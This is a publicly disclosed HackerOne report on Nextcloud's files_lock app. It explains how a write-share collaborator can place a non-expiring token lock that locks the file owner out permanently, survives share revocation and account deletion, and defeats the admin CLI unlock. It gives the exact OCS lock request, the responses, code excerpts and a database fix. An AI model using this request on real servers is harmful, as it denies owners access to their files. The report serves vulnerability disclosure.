HexBrain

Nextcloud · Report #3770482

files_lock: a write-share collaborator can place a TYPE_TOKEN lock that permanently denies the file owner, survives share revocation and account delet

Validstatus
mediumseverity
31upvotes
18 Sept 2026disclosed

Summary

Security advisory at https://github.com/nextcloud/security-advisories/security/advisories/GHSA-22w9-gpgv-pcgc

How it was found

Summary

files_lock 33.0.4 on Nextcloud 33.0.3 lets a user with write-share permissions on someone else's file place a TYPE_TOKEN lock with the default infinite TTL. The lock's permission gate has no file-owner override path, no expiration, and outlives both the share and the locker's account. The documented admin CLI recovery (occ files:lock <id> -u) raises Backends provided no user object when the locker has been deleted and raises NotFoundException even after recreating the same uid (the lock row references the old user object identity, not the current account). The only recovery is a direct DELETE on the oc_files_lock table.

Practical effect: any collaborator with permissions=19 (READ | UPDATE | SHARE) on a shared file can render that file permanently un-writable for the file owner and everyone else with one OCS call. The owner has no UI path back. The admin has no CLI path back. Only direct DB access restores writability.

Steps to reproduce

The attached nextcloud_repro.zip is self-contained:

  1. ./01-setup.sh brings up nextcloud:33.0.3 on localhost:18083, creates alice + bob, installs files_lock, has alice create /lock-target.txt and share it to bob with permissions=19. Prints fileId and shareId.
  2. ./02-attack.sh '<FILE_ID>' '<SHARE_ID>'. As bob, places the lock. Then walks the recovery paths in order: alice's PUT, alice's OCS unlock, share revocation, account deletion, admin CLI unlock.
  3. ./03-verify.sh. Reads the captured responses and prints the lock row, the HTTP status of every probe, the failing CLI output, and the sister-code excerpt from canUnlock.

A pre-captured wire trace is in nextcloud_repro/evidence/.

The decisive packets

Request (bob, the collaborator):

PUT /ocs/v2.php/apps/files_lock/lock/<FILE_ID>?lockType=2&format=json HTTP/1.1
Authorization: Basic bob:BobPass123x
OCS-APIRequest: true

Response:

HTTP/1.1 200 OK

{
  "ocs": {
    "meta": {"status":"ok","statuscode":200,"message":"OK"},
    "data": {
      "id": 1,
      "userId": "bob",
      "displayName": "bob ",
      "fileId": <FILE_ID>,
      "token": "files_lock/<random-uuid>",
      "eta": -1,
      "creation": <epoch>,
      "type": 2
    }
  }
}

type: 2 is TYPE_TOKEN. eta: -1 is the default no-expiration value.

Request (alice, the file owner, trying to use her own file):

PUT /remote.php/dav/files/alice/lock-target.txt HTTP/1.1
Authorization: Basic alice:AlicePass123x

Response:

HTTP/1.1 423 Locked

<d:error xmlns:d="DAV:" xmlns:s="http://sabredav.org/ns">
  <s:exception>Sabre\DAV\Exception\Locked</s:exception>
  <d:lock-token-submitted>
    <d:href>files/alice/lock-target.txt</d:href>
  </d:lock-token-submitted>
</d:error>

Request (alice, trying the OCS unlock):

DELETE /ocs/v2.php/apps/files_lock/lock/<FILE_ID>?format=json HTTP/1.1
Authorization: Basic alice:AlicePass123x
OCS-APIRequest: true

Response:

HTTP/1.1 423

{"ocs":{"meta":{"status":"failure","statuscode":423,"message":"File is currently locked by bob "},"data":{...}}}

After alice revokes the share, after admin deletes bob's account, after admin recreates bob with the same uid: the PUT and the OCS unlock both still return 423.

Admin CLI recovery (after deleting bob):

$ occ files:lock <FILE_ID> -u
unlocking File #<FILE_ID>

In Root.php line 331:
  Backends provided no user object

Admin CLI recovery (after recreating bob under the same uid):

$ occ files:lock <FILE_ID> -u
unlocking File #<FILE_ID>

In FileService.php line 51:
  [OCP\Files\NotFoundException]

The only working recovery in this state is a direct DB write:

sqlite> DELETE FROM oc_files_lock WHERE file_id = <FILE_ID>;

Why this is not intended

Sister code on the same function shows the missing branch

custom_apps/files_lock/lib/Service/LockService.php::canUnlock():

public function canUnlock(LockContext $request, FileLock $current): void {
    $isSameUser  = $current->getOwner() === $this->userSession->getUser()?->getUID();
    $isSameToken = $request->getOwner() === $current->getToken();
    $isSameOwner = $request->getOwner() === $current->getOwner();
    $isSameType  = $request->getType() === $current->getType();

    // TYPE_TOKEN branch: only same-token OR same-user-with-allowUserOverride.
    // No file-owner fall-through.
    if ($current->getType() === ILock::TYPE_TOKEN) {
        if ($isSameToken || ($this->allowUserOverride && $isSameUser)) {
            return;
        }
        throw new UnauthorizedUnlockException(
            $this->l10n->t('File can only be unlocked by providing a valid owner lock token')
        );
    }

    // Non-TYPE_TOKEN branch: falls through to owner-equality check
    if ($isSameOwner && $isSameType) {
        return;
    }
}

The non-TYPE_TOKEN branch falls through on owner equality. The TYPE_TOKEN branch does not. Both branches share the same function and the same $isSameUser setup, so the developer who added the TYPE_TOKEN branch was aware of the variables, declined to use them, and did not add a file-owner override. The non-TYPE_TOKEN branch is the sister-code that confirms the dev model is "the owner can unlock". The TYPE_TOKEN branch did not get the same wiring.

The default TTL is infinite

custom_apps/files_lock/lib/Service/ConfigService.php:

public const LOCK_TIMEOUT = 'lock_timeout';

protected $defaults = [
    self::LOCK_TIMEOUT => '-1'
];

public function getLockTimeout(): int {
    return ((int)$this->getAppValue(ConfigService::LOCK_TIMEOUT)) * 60;
}

-1 * 60 = -60, which FileLock::getETA() interprets as "no expiration" and the wire eta: -1 confirms. The lock has no natural recovery path through TTL.

The locker's lifecycle is not tied to the lock

lib/private/Files/Lock/LockManager.php and the oc_files_lock schema store the locker as a UID string. They do not foreign-key to oc_users. Deleting a user does not cascade-delete their locks. This is by design for some sync-client scenarios but combined with the missing owner override it creates the permanent-denial state above.

The documented CLI recovery exception is not a configuration issue

apps/files_lock/lib/Command/UnlockCommand.php resolves the user object that placed the lock via IUserSession to call FileService::getFileFromId($user, $fileId). When the locker has been deleted: $user = null and the call hits Root.php:331 with Backends provided no user object. When the locker has been recreated under the same uid: getFileFromId raises NotFoundException because the recreated account has no share row to alice's file (alice already revoked it, or it was never created on the recreated account). Either way the CLI is unusable on this finding's state. The admin's only remaining option is direct DB access, which is not advertised in the app docs.

Related advisory (CVE-2021-22906)

CVE-2021-22906 / GHSA-3829-45wm-ww36 patched a different but related class: the End-to-End Encryption app let any authenticated user lock any user's file (temporary DoS, classified Low). That fix established the class as an accepted vulnerability type. The present finding has narrower exploitability (requires write-share, not any auth) but higher impact (A:H, permanent denial, broken admin recovery).

Impact

A collaborator with write access to a shared file can permanently lock the owner out of that file.

After Bob places a token lock, Alice can no longer modify her own file. Revoking Bob’s share does not remove the lock. Deleting Bob’s account does not remove the lock. The documented admin CLI unlock also fails once Bob is deleted or recreated.

The file stays locked for the owner and all other collaborators until an administrator manually deletes the lock row from the database.

This is a persistent denial of service against shared files.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original